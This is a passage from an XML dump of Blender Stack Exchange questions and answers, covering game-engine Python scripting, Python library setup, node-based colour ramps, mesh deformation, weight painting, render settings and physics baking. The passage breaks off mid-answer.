  <row Id="30512" PostTypeId="1" CreationDate="2015-05-06T20:14:00.640" Score="2" ViewCount="426" Body="&lt;p&gt;When my camera collides with my wall, after I move the camera back to where it isn't colliding with anything, the camera stays fixed very closely to the player. What can I add to the code below to fix that(or fix it with the blender logic bricks)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;def collision(cont):&#xA;&#xA;    own = cont.owner&#xA;    scene = logic.getCurrentScene()&#xA;    target = scene.objects['playerOne']&#xA;    ray = cont.sensors['Ray']&#xA;&#xA;    if ray.positive:&#xA;        own.worldPosition = ray.hitPosition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14198" LastActivityDate="2019-04-05T02:51:59.983" Title="Resetting camera after camera collision (BGE)" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30513" PostTypeId="1" CreationDate="2015-05-06T20:31:39.403" Score="-1" ViewCount="166" Body="&lt;p&gt;I want to do an overlay scene with the player's score on it, but I have the variable inside an object in another scene.  How can I access that variable?&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2018-11-05T22:41:43.473" Title="Access Variables in Other Scenes" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30514" PostTypeId="2" ParentId="30513" CreationDate="2015-05-06T20:39:52.687" Score="0" Body="&lt;p&gt;I ended up just broadcasting a message to the other scene instead.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-05-06T20:39:52.687" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30516" PostTypeId="2" ParentId="30382" CreationDate="2015-05-06T20:54:49.410" Score="2" Body="&lt;p&gt;Turbo boost (3,6GHz) only boosts one core. The others sleep, I guess.&#xA;So I guess you shouldn't use the boost here. RAM is okay, unless rendering, graphics card isn't used anyway. I use mini-display-port on my System as well, no problem. But im on windows so maybe it's a MAC's problem. Please check out other programs, like Video editing Programs or other comples ones like photoshop. (there are free trials)&lt;/p&gt;&#xA;" OwnerUserId="14199" LastActivityDate="2015-05-06T20:54:49.410" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30517" PostTypeId="2" ParentId="30510" CreationDate="2015-05-06T21:33:28.963" Score="4" Body="&lt;p&gt;If you can start command prompt, and get python34 REPL, and import &lt;code&gt;numpy&lt;/code&gt; and &lt;code&gt;tables&lt;/code&gt; without errors, there's little reason that Blender's python console can't do the same.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Determine which python executable is used&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Run this bit of code in two different locations. First from &lt;em&gt;command prompt python interpreter&lt;/em&gt; and then from &lt;em&gt;Blender's python console&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;print(sys.path)&#xA;print(sys.executable)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might notice that Blender isn't finding the same python executable. If they are different, this can explain why imports are failing. If they are the same that's a good thing. Half the battle is won!&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Test your Python separately first.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;On windows make sure the &lt;code&gt;C:\Python34;&lt;/code&gt; is at the start of the PATH line, when you type in &lt;code&gt;python&lt;/code&gt; into command prompt you'll want 3.4(.1+) to launch. (At least, I've had success with that and numpy1.8 on windows)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also be able to import &lt;code&gt;numpy&lt;/code&gt; from command prompt without errors&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python 3.4.1 (v3.4.1:c0e311e010fc, May 18 2014, 10:38:22) &amp;lt;edited&amp;gt;&#xA;Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xA;&amp;gt;&amp;gt;&amp;gt; import numpy&#xA;&amp;gt;&amp;gt;&amp;gt; # also try the other important imports, stuff must work from here too&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you get errors from this python interpreter, forget about blender and fix the errors first. Once fixed, blender too will be able to use the libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still have the &lt;code&gt;python&lt;/code&gt; directory inside Blender's folder now is a good time to rename it to &lt;code&gt;_python&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Blender warning when you rename/remove its own python folder&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: bundled python not found and is expected on this platform. &#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;is just that, a warning. Telling you that Blender looked in the directory where it keeps Python and couldn't find it, that's OK. It's perfectly fine to use your local Python34 installation, on windows I prefer to use it that way. Pasting around libraries into scripts/modules folder obviously didn't work, I suggest removing the files you added there to prevent them from interfering with imports. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For sverchok we found it was necessary to install Numpy 1.8 and Python3.4.1, &lt;a href=&quot;http://nikitron.cc.ua/sverch/html/installation.html&quot; rel=&quot;nofollow&quot;&gt;and did a small write-up&lt;/a&gt;. I won't reproduce here because this is bordering on off-topic.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Forcing Blender to use your local system Python3.4.x&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;When Blender is forced to use the system's local python 3.4.x it hoists some paths of its own into the global namespace at runtime, to allow for importing bpy and all other blender modules. Apart from that the py3.4 runtime is entirely your system's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your imports are failing inside Blender, even though it uses the local python3.4, it is likely because you moved libraries into &lt;code&gt;scripts/modules/..&lt;/code&gt; or one of the other paths listed in &lt;code&gt;sys.path&lt;/code&gt;. Python is going to look in the sequence given by &lt;code&gt;sys.path&lt;/code&gt;, it iterates over the list, to find an import that matches your import statements. if Python finds anything before it hits 'C:\Python34\lib\site-packages` that will be tried first and only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should have a nice directory with all your python3.4 libraries like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Python34\lib\site-packages\numpy&#xA;C:\Python34\lib\site-packages\scipy&#xA;# etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-07T06:18:19.310" LastActivityDate="2015-05-07T06:18:19.310" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30518" PostTypeId="2" ParentId="28429" CreationDate="2015-05-06T21:53:03.513" Score="2" Body="&lt;p&gt;These are some node groups to accomplish colorRamps mixing based on the UV coordinates and certain scale ( in this example it's 8 ), which give as a total of 256 color,  this is the final setup :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XuuwI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;and these are the node groups needed :&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&amp;quot;Equal to&amp;quot; node group :&lt;/strong&gt; compare two numbers and output one if they are equal else a Zero&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/poyBW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&amp;quot;Mapper&amp;quot; node group :&lt;/strong&gt; remap the input ( by scaling) and output an integer number ( 0, 1, 2...) for controlling the color switches&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K9XNg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&amp;quot;ColorRamps&amp;quot;&lt;/strong&gt; node group : a group of colorRamps sharing the same factor input&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rZegj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&amp;quot;Decoder&amp;quot;&lt;/strong&gt; node group: switch only one of the outputs to one if the input is equal to it's order&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6LsX6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&amp;quot;ColorMix&amp;quot;&lt;/strong&gt; node group: switch between colors based on the input if input = 5 the output will be the color-5&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IRfzu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;this will allow you to combine multiple color ramps as follow :&#xA;for this example ( scale = 8 ): colorRamp zero will be used for U coordinates from 0.0 to 0.125 ,and colorRamp one from 0.125 to 0.250 and so on. You can try any scale equal to or less than 8 .&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note :&lt;/strong&gt; since color ramps are separate there will be no transition between them but you can fake this by repeating the last color of the previous node as the first color of the next one.&lt;/p&gt;&#xA;&lt;p&gt;test render :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QLPiM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/219/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=219&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-07T00:13:37.920" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30519" PostTypeId="1" AcceptedAnswerId="30552" CreationDate="2015-05-06T21:53:21.773" Score="3" ViewCount="1523" Body="&lt;p&gt;Here is my target application. The rendered image with rendered meshes is used in an interactive application. A user may click or point the cursor to an object on the image. Information related to that object appears. So I need to know either&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) the coordinates of the polygon of the mesh silhouette on the rendered image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) pixels on the rendered image surrounded by the silhouette.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed the mesh silhouette is drawn by default in the object mode. But how to find its coordinates from python for the rendered image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the 1) my idea was to use bpy_extras.object_utils.world_to_camera_view(..) to find image coordinates of each vertex of the mesh. Then somehow compute the silhouette. For the sake of simplicity, let's neglect transparency and consider that the mesh doesn't have holes. If you can propose a solution for a general case for a mesh with holes (e.g. a torus), that would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hint is appreciated&lt;/p&gt;&#xA;" OwnerUserId="14200" LastEditorUserId="14200" LastEditDate="2015-05-19T13:30:19.593" LastActivityDate="2015-05-19T17:26:22.153" Title="Mesh silhouette as a polygon or pixels surrounded by the silhouette on the rendered image?" Tags="&lt;python&gt;&lt;freestyle&gt;" AnswerCount="4" CommentCount="11" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30521" PostTypeId="1" CreationDate="2015-05-06T22:21:30.313" Score="2" ViewCount="114" Body="&lt;p&gt;After upgrading from 2.73 to 2.74, I no longer have the Cycles Render Engine available. It shows that it is enabled in the User Preferences Add Ons. I am using the Windows version, 64-bit. I am running Windows 7 Home Premium 64-bit.&lt;/p&gt;&#xA;" OwnerUserId="14203" LastActivityDate="2015-05-06T22:55:39.950" Title="Cycles Render Engine Missing v2.74" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-05-07T16:26:44.973" ContentLicense="CC BY-SA 3.0" />
  <row Id="30522" PostTypeId="1" AcceptedAnswerId="30543" CreationDate="2015-05-06T22:21:31.390" Score="6" ViewCount="12294" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CqB9U.png&quot; alt=&quot;No Object Tools&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I apologize for the newbie Question and if this was the wrong site to post this Question I have tried to search not doing that right either,I have no idea what i`m doing following  tutor4u &quot; realistic chain tutorial&quot; I can make it to 8:37 into the tutorial, need to add  &quot;Rigid Body Tools&quot; My tools bar is saying &quot;Transform&quot; instead of &quot;Object Tools&quot;&#xA; My Learning Curve Begins/ Continues/ Never Ends&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank-you for any advice &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wally&lt;/p&gt;&#xA;" OwnerUserId="14202" LastEditorUserId="599" LastEditDate="2015-05-07T06:26:36.867" LastActivityDate="2015-05-07T07:44:44.067" Title="There is no &quot; Object Tools&quot; it just says Transform" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30523" PostTypeId="2" ParentId="30522" CreationDate="2015-05-06T22:48:47.150" Score="3" Body="&lt;p&gt;The UI has probably changed since the tutorial was made. Blender moves and changes UI elements quite often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Rigid Body Tools&lt;/em&gt; is in the &lt;em&gt;Physics&lt;/em&gt; tab. The &lt;em&gt;Objects&lt;/em&gt; section is pretty much the &lt;em&gt;Transform&lt;/em&gt; section, just with the title renamed. Make sure you're in the proper mode when you're looking around (i.e., mesh Edit mode vs Object mode).&lt;/p&gt;&#xA;" OwnerUserId="14204" LastActivityDate="2015-05-06T22:48:47.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30524" PostTypeId="1" CreationDate="2015-05-06T22:49:32.540" Score="1" ViewCount="512" Body="&lt;p&gt;I have a texture mapped material with additional bump maps, etc.  It looks fine.  I have created a shape animation where one end of the object becomes cratered (concave).  Inside the crater the material needs to gradually change to another color.  I have assigned the vertex group (inside of crater) the new material, but I can't figure out how to 'fade' it in while the object changes shape.  This is using cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NMVgk.png&quot; alt=&quot;RoughCraterTest&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd upload the file but the client is sensitive about his IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for anyone's time &lt;/p&gt;&#xA;" OwnerUserId="14178" LastEditorUserId="5113" LastEditDate="2015-05-07T12:51:13.090" LastActivityDate="2015-05-08T18:11:28.357" Title="Fading on additional materials to a section of an object" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30526" PostTypeId="1" AcceptedAnswerId="30563" CreationDate="2015-05-06T23:00:44.200" Score="6" ViewCount="1544" Body="&lt;p&gt;I'm working with Cloth Simulations brought in from another program (Marvelous Designer) via .mdd, applied with the Mesh Cache modifier. No changes can be made to this mesh in Blender without breaking the .mdd. I want to add further details to the cloth in blender, such as thickness, seams, grooves, and other surface detailing that Marvelous Designer doesn't have good tools for. To accomplish this, I want to have my detailed mesh be controlled by the simpler cloth simmed mesh. This isn't much different than if I was doing the cloth sims in Blender, as that is generally done on simple meshes that then control more detailed ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what are my options in Blender for having the simmed mesh control the higher detailed one? From tutorials I've seen from other software (Max and Maya), this is a very common workflow, and they handle it very easily. Does Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware of the following options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mesh Deform Modifier:&#xA;Take the simmed mesh, solidify it to envelope the high detail mesh, and use a Mesh Deform modifier. This works for very simple meshes, but even at high precision, does not handle complex ones well. It also fails badly when dealing with layers. I can limit it's effect to a vertex group on the target object, but I can't have only a certain vertex group of the parent object exert control. So any place where I would have layers touching each other will get destroyed, as even if I weight paint the solidify very precisely, I can't fully avoid the cage overlapping certain areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bones constrained to the simmed mesh:&#xA;Constrain bones to the simmed mesh and have them control the high detail mesh. This is very inefficient and time consuming, even if you have custom scripts to help set it up. It can also lose detail in important areas, and can't really handle things like folds and creases unless you have as many bones as you have vertices. And constraints can often give very strange results. This method has worked so far for things like belts and straps, but that's about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other options? From what I can tell, a combination of the two I've listed is the best choice. But it seems horribly inefficient and obnoxious. This seems like it should be a very common workflow, and there should be better tools for it. Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2017-10-03T13:33:28.613" Title="Ways to have one mesh control another?" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;physics&gt;&lt;bones&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30527" PostTypeId="2" ParentId="29183" CreationDate="2015-05-06T23:20:41.033" Score="3" Body="&lt;p&gt;Found this answer in Mike Pan's and Dalai Felinto's marvellous book &lt;em&gt;Game Development in blender&lt;/em&gt; (cengage learning, 2014). I will re-word it to avoid any copyright infringement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pokyv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be solved with the &lt;em&gt;Compound&lt;/em&gt; option for collision bounds.&#xA;Make sure all the objects you have are collision bound enabled and then check the &quot;Compound&quot; box, described as &quot;Add children to form a compound collision object&quot;. If you check this option on not only the parent, but &lt;em&gt;all the children as well&lt;/em&gt; you get a parent object that dynamically adds the children to the parents collision bounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/218/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=218&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;young parents, remember this as a way to control your children.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-05-06T23:45:21.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30528" PostTypeId="1" CreationDate="2015-05-07T00:06:54.213" Score="2" ViewCount="82" Body="&lt;p&gt;In follow up to &lt;a href=&quot;https://blender.stackexchange.com/questions/13790/how-do-i-make-a-weapon-shoot-at-the-center-of-the-screen&quot;&gt;this&lt;/a&gt; problem, I am having an issue. Look over that question, and the correct .blend file is included there. I replicated the logic there to have everything the same. An empty is supposed to be in the center of my screen when it collides with certain objects. For my .blend, when I move my mouse over an object it is supposed to track to, it tracks to it. There is an issue though: if I keep my mouse in that object and keep moving, the empty will not track again. In other words, the first time I look over an object, the empty will track there and will &lt;strong&gt;not&lt;/strong&gt; continue tracking unless I go to another object. If you look at the .blend in the other question, and add a cube ontop of the empty that is a child of the empty just to see where the empty is, everything is flawless. If you look over an object, it tracks there. If you keep looking around &lt;strong&gt;within&lt;/strong&gt; the object, it keeps updating. I tried to explain this the best I can, and I hope you understand. How can I have it constantly updating its position rather than every time I look over a new object? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Just to avoid confusion and the fact that my other question's .blend is old, both .blends [good and bad] will be below, and you can see for youselves:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The incorrectly working &lt;a href=&quot;http://www.pasteall.org/blend/35942&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The working &lt;a href=&quot;http://www.pasteall.org/blend/35943&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Take a look at both .blends, they both generally have the same concept. If you still do not understand, the best way to understand is to do the following: download both .blends, and move your mouse over a wall or a cube in the game; keep your mouse on the object and move around still within the object. For the working .blend, drag your mouse across the floor and notice how it updates quickly. For the incorrectly working one, drag your mouse across a cube and notice how it tracks once and only once unless you go over another object.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-05-07T01:44:10.557" Title="Object not tracking all the time?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30529" PostTypeId="1" CreationDate="2015-05-07T00:53:06.197" Score="3" ViewCount="1047" Body="&lt;p&gt;I'm developing my first 3d game &quot;My Little Hitler&quot; and I am texture painting my low poly model. As shown in the picture, I want to paint the skin color whithout removing the facial drawing black color... how do I accomplish that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k8mId.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14006" LastActivityDate="2015-06-06T21:43:28.513" Title="How to make on color not overlap other while texture painting?" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30530" PostTypeId="1" CreationDate="2015-05-07T01:37:57.453" Score="4" ViewCount="23684" Body="&lt;p&gt;Collada is not among the import options, and not among the addons for import options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a way to import a Collada file to Blender?&lt;/p&gt;&#xA;" OwnerUserId="14185" LastEditorUserId="12" LastEditDate="2015-05-09T18:44:29.413" LastActivityDate="2015-05-09T19:10:26.623" Title="How do I get Blender to import a Collada file?" Tags="&lt;import&gt;&lt;collada&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30532" PostTypeId="2" ParentId="30528" CreationDate="2015-05-07T01:44:10.557" Score="2" Body="&lt;p&gt;You have to keep the script running all the time, it is better to have an always sensor in pulse mode attached to the Python controller :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G6wIu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or just activate the pulse mode on the ray sensor to keep activating the script even if the hitObject is the same :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/53ntH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-07T01:44:10.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30533" PostTypeId="2" ParentId="30495" CreationDate="2015-05-07T02:40:05.330" Score="1" Body="&lt;p&gt;I did the same thing shown in the images above and it looked fine to me but when I went through the Triangulate options, I found that one of the possible settings combinations did produce the results you showed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are both results shown with the settings.  The dialogue box that you see in the images can be accessed by using &lt;kbd&gt;F6&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1QsSw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3JBbS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you activate Vertex Selection mode and drag out the extra vertex that is seen, what's really happening can be seen.  The model is triangulated properly but the algorithm failed to lay out the geometry properly.  Here is an animation showing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hc5Ad.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could file a bug report if you like.  &lt;a href=&quot;https://developer.blender.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I'd prefer to locate Ideasman42 and provide him with a link to this page so he can put some thought into this when he's not working on new tools or fixing bigger problems.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-05-07T02:40:05.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30534" PostTypeId="1" AcceptedAnswerId="30577" CreationDate="2015-05-07T04:16:36.177" Score="2" ViewCount="2331" Body="&lt;p&gt;A typical scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The human shoulder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typical armature, one bone for the shoulder, two for the upper arm, two for the arm. The shoulder vertices must be influenced by the shoulder bone and the first upper arm bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to paint the upper arm bone weights. Then copy them to the shoulder bone, and invert them. So, if a vertex in the upper arm bone has a weight of 0.8, the same vertex must have a weight of 0.2 in the shoulder bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This operation is typically done by hand, and it is easy to do so when the topology helps (all quads, low poly and straight edges). The problem is that this time the topology is complex and very high poly, it looks very good but I'm having a hard time weighting the shoulder.&lt;/p&gt;&#xA;" OwnerUserId="1056" LastActivityDate="2015-05-07T21:45:57.603" Title="Copy weights from other bone and invert them, how?" Tags="&lt;armature&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30535" PostTypeId="1" AcceptedAnswerId="30536" CreationDate="2015-05-07T04:34:31.187" Score="2" ViewCount="19078" Body="&lt;p&gt;I just rendered an image with the 1920 x 1080 resolution, but when the image was done rendering it was 960 x 540.&lt;/p&gt;&#xA;&lt;p&gt;I don't know why it is coming out different from the dimensions specified in the render, what is the reasoning behind that?&lt;/p&gt;&#xA;&lt;p&gt;This is a Cycles Render, if that makes a difference.&#xA;My rendering setup below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g05oE.png&quot; alt=&quot;render settings&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1506" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-07T04:38:30.647" Title="How do I adjust the resolution of my render accurately? The resolution is off" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-05-07T05:38:05.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="30536" PostTypeId="2" ParentId="30535" CreationDate="2015-05-07T04:38:30.647" Score="4" Body="&lt;p&gt;By default the resolution percentage is set to 50%. To fix just change to 100%. Setting is located under the resolution settings.&lt;/p&gt;&#xA;" OwnerUserId="2533" LastActivityDate="2015-05-07T04:38:30.647" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30537" PostTypeId="1" AcceptedAnswerId="30539" CreationDate="2015-05-07T04:51:05.413" Score="4" ViewCount="7580" Body="&lt;p&gt;I would like to save the locations and rotations (in the blend files itself or anywhere else) of the rigid body simulation, because I don't want to wait every time over and over again for blender to calculate whenever I press &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;. I know there are a few options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake to keyframes (in 'rigid body tools' bar at the left toolbar in 3d view/panel)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake (in 'rigid body cache' section, 'scenes' tab in 'properties' panel)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake all dynamics (same panel as 'Bake')&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which one is recommended? And what is exactly the difference between 'Bake' and 'Bake all dynamics'? Thanks :) &lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="599" LastEditDate="2015-05-07T05:25:30.480" LastActivityDate="2015-05-07T05:25:30.480" Title="Best way to bake rigid body physics?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30538" PostTypeId="2" ParentId="30353" CreationDate="2015-05-07T05:19:02.100" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/manual/getting_started/basics/interface/window_system/console_window.html&quot; rel=&quot;nofollow&quot;&gt;show console&lt;/a&gt; menu is only available on windows, on other systems you start blender from a terminal window to see the same output as the windows console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Programming languages are very strict when it comes to interpreting the code you give them. As Chebhou pointed out, you are missing a &lt;code&gt;:&lt;/code&gt; at the end of the if statement, you also have an extra &lt;code&gt;[&lt;/code&gt; before the &lt;code&gt;keyboard.events&lt;/code&gt;. Any small error like this will prevent the script from working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error you got says there is an error on line 11, many times it is a line or two before that that has the mistake that needs to be fixed. In this case it says the &lt;code&gt;player.applyMovement()&lt;/code&gt; is incorrect because it doesn't fit in what it accepts next, it wants either a 